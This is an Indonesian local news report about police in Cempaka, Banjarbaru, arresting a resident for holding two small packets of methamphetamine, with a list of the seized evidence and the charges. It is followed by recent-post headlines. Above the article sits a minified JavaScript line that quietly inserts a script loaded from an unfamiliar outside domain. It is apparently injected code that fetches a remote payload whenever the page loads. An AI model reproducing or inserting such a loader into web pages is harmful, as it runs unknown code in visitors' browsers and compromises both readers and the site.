(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Warga Sungai Tiung Cempaka Dibekuk Kedapatan Simpan Nakotika


KANALKALIMANTAN.COM, BANJARBARU – Anggota Satreskrim Polsek Cempaka mengamankan seorang laki-laki di Jalan Perjuangan RT 005/002, Kelurahan Sungai Tiung, Kecamatan Cempaka, Kota Banjarbaru, simpan paket sabu.

Tersangka MH ditangkap bersama barang bukti dua paket sabu dengan masing-masing berat kotor 0,21 gram dan 0,20 gram, pada Senin (3/1/2022) sekitar pukul 23.30 Wita.

“Pelaku berhasil diamankan Satreskrim Polsek Cempaka dari informasi yang diperoleh dari warga,” ungkap Kapolsek Cempaka, Ipda Dr Subroto Rindang Arie Setyawan, melalui Kasi Humas Polsek Cempaka Aipda Hendra Fahmi kepada kanalkalimantan.com, Selasa (4/1/2022).

Penangkapan dipimpin Kanit Reskrim Polsek Cempaka Aiptu Oktrianto Bayu Sumargi berawal dari informasi warga, menyusul di tempat tersebut dilaporkan ada penyalahgunaan Narkotika jenis sabu.

 

 

Baca juga: Vaksinasi Anak Usia 6-11 Tahun di Banjarbaru Digelar Waktu Dekat!

“MH berhasil diamankan di kediamannya bersama barang bukti,” ujar Aipda Hendra Fahmi.

Atas tindak pidana peredaran gelap dan penyalahgunaan Narkotika jenis sabu, MH dikenakan pasal 114 ayat (1) sub pasal 112 ayat (1) UU RI Nomor 35 tahun 2009 tentang Narkotika.

Barang bukti berhasil dimamankan dari tangan pelaku berhasil diamankan barang bukti berupa satu paket sabu berat berat kotor 0,20 gram (0,03 gram berat bersih) dan sabu berat kotor 0,21 (0,04 gram berat bersih).

Kemudian tiga buah sedotan plastik, tiga buah plastik klip bening, satu buah pipet kaca bening, satu buah tusuk gigi kayu, satu buah bong terbuat dari botol plastik, enam buah korek api, dua buah kotak rokok, satu buah tisu, satu buah timbangan digital, enam buah batrai merk panasonic, satu buah kantong kain kecil warna merah, satu buah tas kain kecil warna orange, satu buah Handphone merk Samsung Duos, serta uang tunai sebesar 100 ribu.

“Pelaku beserta barang bukti dibawa dan diamankan ke Mapolsek Cempaka untuk diproses hukum lebih lanjut,” tutupnya. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

3 jam ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

6 jam ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

7 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

15 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

16 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

17 jam ago

This website uses cookies.